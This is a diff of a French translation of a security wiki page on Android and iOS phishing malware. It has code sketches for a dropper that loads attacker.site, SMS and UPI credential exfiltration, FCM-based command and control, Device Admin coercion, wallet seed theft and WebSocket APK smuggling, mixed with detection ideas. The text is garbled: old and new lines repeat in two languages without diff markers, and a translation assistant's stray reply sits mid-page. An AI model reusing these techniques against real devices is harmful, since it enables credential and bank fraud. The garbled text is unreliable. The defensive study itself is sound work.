* Les variantes récentes **suppriment `<uses-permission>` pour SMS dans `AndroidManifest.xml`** mais laissent le chemin Java/Kotlin qui lit les SMS via reflection ⇒ baisse le score statique tout en restant fonctionnel sur des appareils où la permission est accordée via un abus d'`AppOps` ou sur d'anciens targets.
|
||||
5. **Interface façade & collecte en arrière-plan**
|
||||
* L'app affiche des vues inoffensives (visionneuse SMS, sélecteur de galerie) implémentées localement.
|
||||
* Les variantes récentes **suppriment `<uses-permission>` pour SMS du `AndroidManifest.xml`** mais laissent le chemin Java/Kotlin lisant les SMS via reflection ⇒ réduit le score statique tout en restant fonctionnel sur des devices qui accordent la permission via `AppOps` abuse ou des cibles anciennes.
|
||||
5. **Facade UI & Background Collection**
|
||||
* L'app affiche des vues inoffensives (SMS viewer, gallery picker) implémentées localement.
|
||||
* Pendant ce temps elle exfiltre :
|
||||
- IMEI / IMSI, numéro de téléphone
|
||||
- Dump complet de `ContactsContract` (tableau JSON)
|
||||
- Dump complet de `ContactsContract` (array JSON)
|
||||
- JPEG/PNG depuis `/sdcard/DCIM` compressés avec [Luban](https://github.com/Curzibn/Luban) pour réduire la taille
|
||||
- Contenu SMS optionnel (`content://sms`)
|
||||
Les payloads sont archivés par lot (zip) et envoyés via `HTTP POST /upload.php`.
|
||||
6. **Technique de livraison iOS**
|
||||
* Un seul **mobile-configuration profile** peut demander `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. pour inscrire l'appareil dans une supervision de type “MDM”.
|
||||
* Instructions d'ingénierie sociale :
|
||||
1. Ouvrir Réglages ➜ *Profile downloaded*.
|
||||
- SMS optionnels (`content://sms`)
|
||||
Les payloads sont **batch-zippés** et envoyés via `HTTP POST /upload.php`.
|
||||
6. **iOS Delivery Technique**
|
||||
* Un seul **mobile-configuration profile** peut demander `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration`, etc. pour enrôler l'appareil dans une supervision de type “MDM”.
|
||||
* Instructions de social engineering :
|
||||
1. Ouvrir Settings ➜ *Profile downloaded*.
|
||||
2. Taper *Install* trois fois (captures d'écran sur la page de phishing).
|
||||
3. Faire confiance au profile non signé ➜ l'attaquant obtient les droits *Contacts* & *Photo* sans revue App Store.
|
||||
7. **Couche réseau**
|
||||
* HTTP en clair, souvent sur le port 80 avec un header HOST du type `api.<phishingdomain>.com`.
|
||||
3. Trust le profile unsigned ➜ l'attaquant obtient les entitlements *Contacts* & *Photo* sans revue App Store.
|
||||
7. **Network Layer**
|
||||
* HTTP plain, souvent sur le port 80 avec un HOST header du type `api.<phishingdomain>.com`.
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (pas de TLS → facile à repérer).
|
||||
|
||||
## Tests défensifs / Conseils Red-Team
|
||||
## Defensive Testing / Red-Team Tips
|
||||
|
||||
* **Bypass d'analyse dynamique** – Pendant l'évaluation du malware, automatiser la phase du code d'invitation avec Frida/Objection pour atteindre la branche malveillante.
|
||||
* **Diff Manifest vs. Runtime** – Comparer `aapt dump permissions` avec le résultat runtime de `PackageManager#getRequestedPermissions()` ; l'absence de permissions dangereuses est un signal d'alerte.
|
||||
* **Canari réseau** – Configurer `iptables -p tcp --dport 80 -j NFQUEUE` pour détecter des rafales de POST suspects après saisie du code.
|
||||
* **Inspection mobileconfig** – Utiliser `security cms -D -i profile.mobileconfig` sur macOS pour lister `PayloadContent` et repérer des entitlements excessifs.
|
||||
* **Dynamic Analysis Bypass** – Pendant l'évaluation du malware, automatiser la phase du invitation code avec Frida/Objection pour atteindre la branche malveillante.
|
||||
* **Manifest vs. Runtime Diff** – Comparer `aapt dump permissions` avec le runtime `PackageManager#getRequestedPermissions()` ; l'absence de perms dangereuses est un signal d'alerte.
|
||||
* **Network Canary** – Configurer `iptables -p tcp --dport 80 -j NFQUEUE` pour détecter des rafales de POST suspectes après l'entrée du code.
|
||||
* **mobileconfig Inspection** – Utiliser `security cms -D -i profile.mobileconfig` sur macOS pour lister `PayloadContent` et repérer les entitlements excessifs.
|
||||
|
||||
## Idées de détection Blue-Team
|
||||
## Blue-Team Detection Ideas
|
||||
|
||||
* **Certificate Transparency / DNS Analytics** pour repérer des flambées soudaines de domaines riches en mots-clés.
|
||||
* **User-Agent & Path Regex** : `(?i)POST\s+/(check|upload)\.php` provenant de clients Dalvik hors Google Play.
|
||||
* **Télémétrie du code d'invitation** – Des POST de codes numériques de 6–8 chiffres peu après l'installation d'un APK peuvent indiquer une phase de staging.
|
||||
* **Signature MobileConfig** – Bloquer les profils de configuration non signés via une politique MDM.
|
||||
* **Certificate Transparency / DNS Analytics** pour détecter des rafales soudaines de domaines riches en mots-clés.
|
||||
* **User-Agent & Path Regex** : `(?i)POST\s+/(check|upload)\.php` depuis des clients Dalvik hors Google Play.
|
||||
* **Invite-code Telemetry** – POST de codes numériques de 6–8 chiffres peu de temps après l'installation de l'APK peut indiquer une phase de staging.
|
||||
* **MobileConfig Signing** – Bloquer les configuration profiles unsigned via une policy MDM.
|
||||
|
||||
## Extrait Frida utile : contournement automatique du code d'invitation
|
||||
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
||||
```python
|
||||
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
||||
# Hook HttpURLConnection write to always return success
|
||||
@ -80,7 +80,7 @@ return conn;
|
||||
};
|
||||
});
|
||||
```
|
||||
## Indicateurs (Générique)
|
||||
## Indicateurs (Génériques)
|
||||
```
|
||||
/req/checkCode.php # invite code validation
|
||||
/upload.php # batched ZIP exfiltration
|
||||
@ -88,28 +88,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
```
|
||||
---
|
||||
|
||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||
## Android WebView Payment Phishing (UPI) – schéma Dropper + FCM C2
|
||||
|
||||
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
|
||||
Ce schéma a été observé dans des campagnes abusant de thèmes liés aux prestations gouvernementales pour voler des identifiants UPI indiens et des OTP. Les opérateurs enchaînent des plateformes réputées pour la diffusion et la résilience.
|
||||
|
||||
### Chaîne de diffusion via des plateformes de confiance
|
||||
- YouTube video lure → la description contient un lien court
|
||||
- Shortlink → site de phishing GitHub Pages imitant le portail légitime
|
||||
### Chaîne de livraison via des plateformes de confiance
|
||||
- Appât vidéo YouTube → la description contient un lien court
|
||||
- Lien court → site de phishing hébergé sur GitHub Pages imitant le portail légitime
|
||||
- Le même repo GitHub héberge un APK avec un faux badge “Google Play” pointant directement vers le fichier
|
||||
- Pages de phishing dynamiques hébergées sur Replit ; canal de commande à distance utilisant Firebase Cloud Messaging (FCM)
|
||||
- Des pages de phishing dynamiques sont hébergées sur Replit ; le canal de commandes à distance utilise Firebase Cloud Messaging (FCM)
|
||||
|
||||
### Dropper with embedded payload and offline install
|
||||
- Le premier APK est un installateur (dropper) qui contient le vrai malware à `assets/app.apk` et incite l'utilisateur à désactiver le Wi‑Fi/données mobiles pour atténuer la détection dans le cloud.
|
||||
- Le payload embarqué s'installe sous une étiquette anodine (par ex., “Secure Update”). Après l'installation, l'installateur et le payload sont présents en tant qu'apps séparées.
|
||||
### Dropper avec payload intégré et installation hors ligne
|
||||
- Le premier APK est un installer (dropper) qui embarque le vrai malware à `assets/app.apk` et invite l'utilisateur à désactiver le Wi‑Fi/les données mobiles pour atténuer la détection dans le cloud.
|
||||
- Le payload embarqué s'installe sous un libellé anodin (par ex., “Secure Update”). Après l'installation, l'installateur et le payload sont présents en tant qu'applications séparées.
|
||||
|
||||
Static triage tip (grep for embedded payloads):
|
||||
Astuce de triage statique (grep pour embedded payloads) :
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### Découverte dynamique des endpoints via shortlink
|
||||
- Malware récupère depuis un shortlink une liste en texte brut, séparée par des virgules, d'endpoints actifs ; de simples transformations de chaînes produisent le chemin final de la page de phishing.
|
||||
- Malware récupère une liste en texte brut, séparée par des virgules, d'endpoints actifs depuis un shortlink ; de simples transformations de chaînes produisent le chemin final de la page de phishing.
|
||||
|
||||
Exemple (sanitisé) :
|
||||
```
|
||||
@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
|
||||
String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### Collecte d'identifiants UPI basée sur WebView
|
||||
- L'étape “Effectuer un paiement de ₹1 / UPI‑Lite” charge un formulaire HTML malveillant depuis l'endpoint dynamique à l'intérieur d'une WebView et capture les champs sensibles (téléphone, banque, PIN UPI) qui sont envoyés en `POST` vers `addup.php`.
|
||||
### WebView-based UPI credential harvesting
|
||||
- L'étape “Make payment of ₹1 / UPI‑Lite” charge un formulaire HTML malveillant depuis l'endpoint dynamique à l'intérieur d'une WebView et capture des champs sensibles (phone, bank, UPI PIN) qui sont `POST`ed vers `addup.php`.
|
||||
|
||||
Chargeur minimal :
|
||||
```java
|
||||
@ -137,17 +137,17 @@ wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
```
|
||||
### Auto-propagation et interception des SMS/OTP
|
||||
- Des autorisations agressives sont demandées au premier lancement:
|
||||
- Des permissions agressives sont demandées au premier lancement :
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- Les contacts sont parcourus en boucle pour envoyer massivement des smishing SMS depuis l'appareil de la victime.
|
||||
- Les SMS entrants sont interceptés par un broadcast receiver et téléversés avec des métadonnées (sender, body, SIM slot, per-device random ID) vers `/addsm.php`.
|
||||
- Les contacts sont parcourus pour envoyer en masse des SMS de smishing depuis l'appareil de la victime.
|
||||
- Les SMS entrants sont interceptés par un broadcast receiver et téléversés avec des métadonnées (expéditeur, contenu, SIM slot, ID aléatoire par appareil) vers `/addsm.php`.
|
||||
|
||||
Receiver sketch:
|
||||
Esquisse du broadcast receiver:
|
||||
```java
|
||||
public void onReceive(Context c, Intent i){
|
||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||
@ -161,8 +161,8 @@ postForm(urlAddSms, new FormBody.Builder()
|
||||
}
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM) comme C2 résilient
|
||||
- Le payload s'enregistre auprès de FCM ; les messages push contiennent un champ `_type` utilisé comme commutateur pour déclencher des actions (p. ex., mettre à jour les templates de texte de phishing, activer/désactiver des comportements).
|
||||
### Firebase Cloud Messaging (FCM) en tant que C2 résilient
|
||||
- Le payload s'enregistre auprès de FCM ; les push messages contiennent un champ `_type` utilisé comme commutateur pour déclencher des actions (p.ex. mettre à jour les modèles de texte de phishing, activer/désactiver des comportements).
|
||||
|
||||
Exemple de payload FCM:
|
||||
```json
|
||||
@ -174,7 +174,7 @@ Exemple de payload FCM:
|
||||
}
|
||||
}
|
||||
```
|
||||
Esquisse du handler:
|
||||
Esquisse du Handler:
|
||||
```java
|
||||
@Override
|
||||
public void onMessageReceived(RemoteMessage msg){
|
||||
@ -186,30 +186,71 @@ case "smish": sendSmishToContacts(); break;
|
||||
}
|
||||
}
|
||||
```
|
||||
### Schémas de chasse et IOCs
|
||||
- L'APK contient un payload secondaire dans `assets/app.apk`
|
||||
- WebView charge un paiement depuis `gate.htm` et exfiltrates vers `/addup.php`
|
||||
### Schémas de détection et IOCs
|
||||
- L'APK contient une charge secondaire dans `assets/app.apk`
|
||||
- WebView charge le paiement depuis `gate.htm` et exfiltre vers `/addup.php`
|
||||
- Exfiltration de SMS vers `/addsm.php`
|
||||
- Récupération de config via shortlink (p.ex., `rebrand.ly/*`) retournant des endpoints CSV
|
||||
- Apps étiquetées comme génériques «Update/Secure Update»
|
||||
- Applications étiquetées comme génériques “Update/Secure Update”
|
||||
- Messages FCM `data` avec un discriminateur `_type` dans des apps non fiables
|
||||
|
||||
### Idées de détection et défense
|
||||
- Signaler les apps qui demandent aux utilisateurs de désactiver le réseau pendant l'installation, puis effectuent un side-load d'un second APK depuis `assets/`.
|
||||
### Idées de détection et de défense
|
||||
- Signaler les apps qui demandent aux utilisateurs de désactiver le réseau pendant l'installation puis side-load un second APK depuis `assets/`.
|
||||
- Alerter sur le tuple de permissions : `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flux de paiement basés sur WebView.
|
||||
- Surveillance de l'egress pour `POST /addup.php|/addsm.php` sur des hôtes non-corporate ; bloquer l'infrastructure connue.
|
||||
- Règles Mobile EDR : app non fiable enregistrée pour FCM et faisant des branches sur le champ `_type`.
|
||||
- Surveillance de l'egress pour `POST /addup.php|/addsm.php` sur des hôtes non d'entreprise ; bloquer l'infrastructure connue.
|
||||
- Règles Mobile EDR : app non fiable s'enregistrant pour FCM et se comportant différemment selon le champ `_type`.
|
||||
|
||||
---
|
||||
|
||||
## Abus Android Accessibility/Overlay & Device Admin, automatisation ATS et orchestration de relay NFC – étude de cas RatOn
|
||||
## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
|
||||
|
||||
La campagne RatOn banker/RAT (ThreatFabric) est un exemple concret de la façon dont les opérations modernes de phishing mobile combinent WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, et même l'orchestration de NFC-relay. Cette section abstrait les techniques réutilisables.
|
||||
Les attaquants remplacent de plus en plus les liens APK statiques par un canal Socket.IO/WebSocket intégré dans des pages leurres ressemblant à Google Play. Cela dissimule l'URL du payload, contourne les filtres d'URL/extension et préserve une UX d'installation réaliste.
|
||||
|
||||
Flux client typique observé sur le terrain :
|
||||
```javascript
|
||||
// Open Socket.IO channel and request payload
|
||||
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
|
||||
socket.emit("startDownload", { app: "com.example.app" });
|
||||
|
||||
// Accumulate binary chunks and drive fake Play progress UI
|
||||
const chunks = [];
|
||||
socket.on("chunk", (chunk) => chunks.push(chunk));
|
||||
socket.on("downloadProgress", (p) => updateProgressBar(p));
|
||||
|
||||
// Assemble APK client‑side and trigger browser save dialog
|
||||
socket.on("downloadComplete", () => {
|
||||
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement("a");
|
||||
a.href = url; a.download = "app.apk"; a.style.display = "none";
|
||||
document.body.appendChild(a); a.click();
|
||||
});
|
||||
```
|
||||
Pourquoi cela échappe à des contrôles simples :
|
||||
- Aucune URL APK statique n'est exposée ; la charge utile est reconstruite en mémoire à partir de frames WebSocket.
|
||||
- Les filtres URL/MIME/extensions qui bloquent les réponses .apk directes peuvent manquer les données binaires tunnelisées via WebSockets/Socket.IO.
|
||||
- Les crawlers et sandboxes d'URL qui n'exécutent pas WebSockets ne récupéreront pas la charge utile.
|
||||
|
||||
Idées pour la chasse et la détection :
|
||||
- Web/network telemetry : signaler les sessions WebSocket qui transfèrent de gros blocs binaires suivis de la création d'un Blob avec le MIME application/vnd.android.package-archive et d'un clic programmatique `<a download>`. Rechercher des chaînes client comme socket.emit('startDownload'), et des événements nommés chunk, downloadProgress, downloadComplete dans les scripts de page.
|
||||
- Play-store spoof heuristics : sur des domaines non-Google servant des pages de type Play, rechercher des Google Play UI strings telles que http.html:"VfPpkd-jY41G-V67aGc", des templates en langues mélangées, et de faux flux de “verification/progress” pilotés par des événements WS.
|
||||
- Controls : bloquer la distribution d'APK depuis des origines non-Google ; appliquer des politiques MIME/extensions incluant le trafic WebSocket ; préserver les invites de téléchargement sécurisé du navigateur.
|
||||
|
||||
See also WebSocket tradecraft and tooling:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/websocket-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study
|
||||
|
||||
La campagne RatOn banker/RAT (ThreatFabric) est un exemple concret de la manière dont les opérations modernes de phishing mobile combinent WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, et même NFC-relay orchestration. Cette section abstrait les techniques réutilisables.
|
||||
|
||||
### Stage-1: WebView → native install bridge (dropper)
|
||||
Les attaquants présentent un WebView pointant vers une page d'attaquant et injectent une interface JavaScript qui expose un installateur natif. Un tap sur un bouton HTML appelle du code natif qui installe un APK de seconde étape inclus dans les assets du dropper puis le lance directement.
|
||||
Les attaquants affichent un WebView pointant vers une page attaquante et injectent une interface JavaScript qui expose un installateur natif. Un tap sur un bouton HTML appelle du code natif qui installe un APK de deuxième étape inclus dans les assets du dropper puis le lance directement.
|
||||
|
||||
Schéma minimal:
|
||||
Patron minimal :
|
||||
```java
|
||||
public class DropperActivity extends Activity {
|
||||
@Override protected void onCreate(Bundle b){
|
||||
@ -238,25 +279,23 @@ wv.loadUrl("https://attacker.site/install.html");
|
||||
}
|
||||
}
|
||||
```
|
||||
Je n’ai reçu aucun HTML à traduire. Peux-tu coller ici le contenu HTML (ou le fichier) que tu veux que je traduise en français ?
|
||||
|
||||
Rappel des règles que je suivrai : je ne traduis pas le code, les noms de techniques, les balises markdown/html, les liens, les chemins, ni les mots comme leak, pentesting, ni les noms de plateformes cloud/SaaS.
|
||||
Veuillez coller le HTML de la page à traduire. Je traduirai le texte anglais pertinent en français en conservant exactement la même syntaxe markdown/html et en respectant les consignes (ne pas traduire code, noms techniques, tags, liens, chemins, etc.).
|
||||
```html
|
||||
<button onclick="bridge.installApk()">Install</button>
|
||||
```
|
||||
Après l'installation, le dropper démarre le payload via un package/activity explicite :
|
||||
Après l'installation, le dropper lance le payload via un package/activity explicite :
|
||||
```java
|
||||
Intent i = new Intent();
|
||||
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||
startActivity(i);
|
||||
```
|
||||
Hunting idea : des applications non fiables appelant `addJavascriptInterface()` et exposant des méthodes de type installer au WebView ; APK livrant une charge secondaire embarquée sous `assets/` et invoquant la Package Installer Session API.
|
||||
Idée de chasse aux menaces : applications non fiables appelant `addJavascriptInterface()` et exposant des méthodes de type installateur au WebView ; APK embarquant une charge utile secondaire sous `assets/` et invoquant le Package Installer Session API.
|
||||
|
||||
### Entonnoir de consentement : Accessibility + Device Admin + demandes runtime subséquentes
|
||||
Stage-2 ouvre un WebView qui héberge une page “Access”. Son bouton invoque une méthode exportée qui dirige la victime vers les paramètres Accessibility et demande l'activation du service rogue. Une fois accordé, malware utilise Accessibility pour cliquer automatiquement à travers les boîtes de dialogue de permissions runtime suivantes (contacts, overlay, manage system settings, etc.) et demande Device Admin.
|
||||
### Entonnoir de consentement : Accessibility + Device Admin + demandes runtime ultérieures
|
||||
Stage-2 ouvre un WebView qui héberge une page “Access”. Son bouton invoque une méthode exportée qui dirige la victime vers les paramètres Accessibility et demande l'activation du service malveillant. Une fois accordée, le malware utilise Accessibility pour cliquer automatiquement à travers les dialogues de permission runtime suivants (contacts, overlay, manage system settings, etc.) et demande Device Admin.
|
||||
|
||||
- Accessibility permet, de manière programmatique, d'accepter les invites ultérieures en trouvant des boutons comme “Allow”/“OK” dans l'arbre de nœuds (node-tree) et en déclenchant des clics.
|
||||
- Vérification/demande de la permission Overlay :
|
||||
- Accessibility aide programmaticalement à accepter les invites suivantes en trouvant des boutons comme «Autoriser»/«OK» dans l'arbre de nœuds et en simulant des clics.
|
||||
- Vérification/demande de la permission overlay :
|
||||
```java
|
||||
if (!Settings.canDrawOverlays(ctx)) {
|
||||
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
||||
@ -272,17 +311,17 @@ Voir aussi :
|
||||
|
||||
### Overlay phishing/ransom via WebView
|
||||
Les opérateurs peuvent émettre des commandes pour :
|
||||
- rendre une superposition plein écran à partir d'une URL, ou
|
||||
- transmettre du HTML inline chargé dans une superposition WebView.
|
||||
- afficher une superposition plein écran depuis une URL, ou
|
||||
- fournir du HTML inline chargé dans une superposition WebView.
|
||||
|
||||
Usages probables : coercition (saisie de PIN), ouverture de wallet pour capturer les PIN, messages d'extorsion. Garder une commande pour s'assurer que la permission d'overlay est accordée si elle manque.
|
||||
Usages probables : contrainte (saisie du PIN), ouverture de wallet pour capturer les PINs, messages de rançon. Prévoir une commande pour vérifier/obtenir la permission d'overlay si elle est absente.
|
||||
|
||||
### Remote control model – text pseudo-screen + screen-cast
|
||||
- Bande passante faible : exporter périodiquement l'Accessibility node tree, sérialiser les textes/rôles/bornes visibles et les envoyer au C2 comme pseudo-écran (commandes comme `txt_screen` une fois et `screen_live` en continu).
|
||||
- Haute fidélité : demander MediaProjection et démarrer le screen-casting/enregistrement à la demande (commandes comme `display` / `record`).
|
||||
- Low-bandwidth : périodiquement dumper l'arbre de noeuds Accessibility, sérialiser les textes/roles/bounds visibles et envoyer au C2 comme pseudo-écran (commandes comme `txt_screen` une fois et `screen_live` en continu).
|
||||
- High-fidelity : demander MediaProjection et lancer la diffusion/enregistrement d'écran à la demande (commandes comme `display` / `record`).
|
||||
|
||||
### ATS playbook (bank app automation)
|
||||
Étant donné une tâche JSON, ouvrir l'application bancaire, piloter l'UI via Accessibility avec un mélange de requêtes textuelles et de taps par coordonnées, et saisir le PIN de paiement de la victime lorsque demandé.
|
||||
### ATS playbook (automatisation d'applications bancaires)
|
||||
Étant donné une tâche JSON, ouvrir l'application bancaire, piloter l'UI via Accessibility en combinant requêtes textuelles et taps par coordonnées, et saisir le PIN de paiement de la victime lorsqu'il est demandé.
|
||||
|
||||
Exemple de tâche :
|
||||
```json
|
||||
@ -305,37 +344,37 @@ Exemples de textes vus dans un flux cible (CZ → EN):
|
||||
- "Zaplatit" → "Payer"
|
||||
- "Hotovo" → "Terminé"
|
||||
|
||||
Les opérateurs peuvent aussi vérifier/augmenter les limites de transfert via des commandes comme `check_limit` et `limit` qui naviguent de façon similaire dans l'interface des limites.
|
||||
Les opérateurs peuvent aussi vérifier/augmenter les limites de transfert via des commandes comme `check_limit` et `limit` qui naviguent de manière similaire dans l'interface des limites.
|
||||
|
||||
### Crypto wallet seed extraction
|
||||
Cibles comme MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow : déverrouiller (PIN volé ou mot de passe fourni), naviguer vers Security/Recovery, révéler/afficher la phrase de récupération, keylog/exfiltrate it. Implémentez des sélecteurs sensibles à la locale (EN/RU/CZ/SK) pour stabiliser la navigation entre les langues.
|
||||
### Extraction de la seed d'un portefeuille crypto
|
||||
Cibles comme MetaMask, Trust Wallet, Blockchain.com, Phantom. Déroulement : déverrouiller (PIN volé ou mot de passe fourni), naviguer vers Sécurité/Récupération, révéler/afficher la seed phrase, keylog/exfiltrate it. Implémenter des sélecteurs sensibles à la locale (EN/RU/CZ/SK) pour stabiliser la navigation entre les langues.
|
||||
|
||||
### Device Admin coercion
|
||||
Les Device Admin APIs sont utilisées pour augmenter les opportunités de capture du PIN et frustrer la victime :
|
||||
Device Admin APIs sont utilisées pour augmenter les opportunités de capture du PIN et frustrer la victime :
|
||||
|
||||
- Verrouillage immédiat:
|
||||
- Verrouillage immédiat :
|
||||
```java
|
||||
dpm.lockNow();
|
||||
```
|
||||
- Faire expirer les identifiants actuels pour forcer le changement (Accessibility capture le nouveau PIN/password):
|
||||
- Faire expirer le credential actuel pour forcer le changement (Accessibility capture le nouveau PIN/password):
|
||||
```java
|
||||
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||
```
|
||||
- Forcer le déverrouillage non biométrique en désactivant les fonctionnalités biométriques du keyguard:
|
||||
- Forcer le déverrouillage non-biométrique en désactivant les fonctionnalités biométriques de keyguard :
|
||||
```java
|
||||
dpm.setKeyguardDisabledFeatures(admin,
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||
```
|
||||
Remarque : De nombreux contrôles de DevicePolicyManager nécessitent Device Owner/Profile Owner sur les versions récentes d'Android ; certaines builds OEM peuvent être plus laxistes. Validez toujours sur l'OS/OEM cible.
|
||||
Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
|
||||
|
||||
### Orchestration de relais NFC (NFSkate)
|
||||
Stage-3 peut installer et lancer un module NFC-relay externe (par ex., NFSkate) et lui fournir même un template HTML pour guider la victime pendant le relais. Cela permet des cash-outs sans contact en présence de la carte (card-present) parallèlement à des ATS en ligne.
|
||||
### Orchestration de relai NFC (NFSkate)
|
||||
Stage-3 peut installer et lancer un module NFC-relay externe (p.ex., NFSkate) et même lui fournir un template HTML pour guider la victime pendant le relai. Cela permet des cash-out card-present sans contact parallèlement à des ATS en ligne.
|
||||
|
||||
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||
|
||||
### Jeu de commandes opérateur (exemple)
|
||||
- UI/état: `txt_screen`, `screen_live`, `display`, `record`
|
||||
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
|
||||
- Social: `send_push`, `Facebook`, `WhatsApp`
|
||||
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
|
||||
@ -344,13 +383,13 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
|
||||
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||
- NFC: `nfs`, `nfs_inject`
|
||||
|
||||
### Idées de détection et de défense (style RatOn)
|
||||
- Rechercher les WebViews utilisant `addJavascriptInterface()` qui exposent des méthodes d'installer/de permission ; les pages se terminant par “/access” qui déclenchent des invites Accessibility.
|
||||
- Alerter sur les apps qui génèrent des gestes/clics Accessibility à haut débit peu après l'octroi de l'accès au service ; ou une télémétrie ressemblant à des dumps de nœuds Accessibility envoyés au C2.
|
||||
- Surveiller les modifications de policy Device Admin dans les apps non fiables : `lockNow`, expiration de mot de passe, basculement des fonctionnalités du keyguard.
|
||||
- Alerter sur les invites MediaProjection provenant d'apps non-corporate suivies d'uploads périodiques de frames.
|
||||
### Idées de détection et de défense (RatOn-style)
|
||||
- Rechercher des WebViews avec `addJavascriptInterface()` exposant des méthodes d'installer/de permission ; des pages se terminant par “/access” qui déclenchent des invites Accessibility.
|
||||
- Alerter sur des apps qui génèrent des gestes/clicks Accessibility à haute fréquence peu après l'octroi de l'accès au service ; télémetrie ressemblant à des dumps de nœuds Accessibility envoyés au C2.
|
||||
- Surveiller les changements de policy Device Admin dans des apps non fiables : `lockNow`, expiration de mot de passe, basculements des fonctionnalités de keyguard.
|
||||
- Alerter sur des invites MediaProjection provenant d'apps non-corporatives suivies d'uploads périodiques de frames.
|
||||
- Détecter l'installation/le lancement d'une app NFC-relay externe déclenchée par une autre app.
|
||||
- Pour le secteur bancaire : imposer des confirmations out-of-band, le liage biométrique et des limites de transaction résistantes à l'automatisation on-device.
|
||||
- Pour le secteur bancaire : imposer des confirmations out-of-band, le biometrics-binding, et des limites de transaction résistantes à l'automatisation on-device.
|
||||
|
||||
## Références
|
||||
|
||||
@ -360,5 +399,8 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
|
||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
|
||||
- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
|
||||
- [Socket.IO](https://socket.io)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,48 +4,54 @@
|
||||
|
||||
## **Introduction**
|
||||
|
||||
### Ressources connexes
|
||||
### Ressources associées
|
||||
|
||||
|
||||
{{#ref}}
|
||||
synology-encrypted-archive-decryption.md
|
||||
{{#endref}}
|
||||
|
||||
Le firmware est un logiciel essentiel qui permet aux appareils de fonctionner correctement en gérant et en facilitant la communication entre les composants matériels et le logiciel avec lequel les utilisateurs interagissent. Il est stocké dans une mémoire permanente, garantissant que l'appareil peut accéder à des instructions vitales dès qu'il est allumé, ce qui conduit au lancement du système d'exploitation. L'examen et la modification potentielle du firmware sont une étape critique pour identifier les vulnérabilités de sécurité.
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
Le firmware est un logiciel essentiel qui permet aux appareils de fonctionner correctement en gérant et facilitant la communication entre les composants hardware et le software avec lequel les utilisateurs interagissent. Il est stocké en mémoire permanente, garantissant que l'appareil peut accéder aux instructions vitales dès sa mise sous tension, ce qui conduit au lancement du système d'exploitation. Examiner et potentiellement modifier le firmware est une étape critique pour identifier des vulnérabilités de sécurité.
|
||||
|
||||
## **Collecte d'informations**
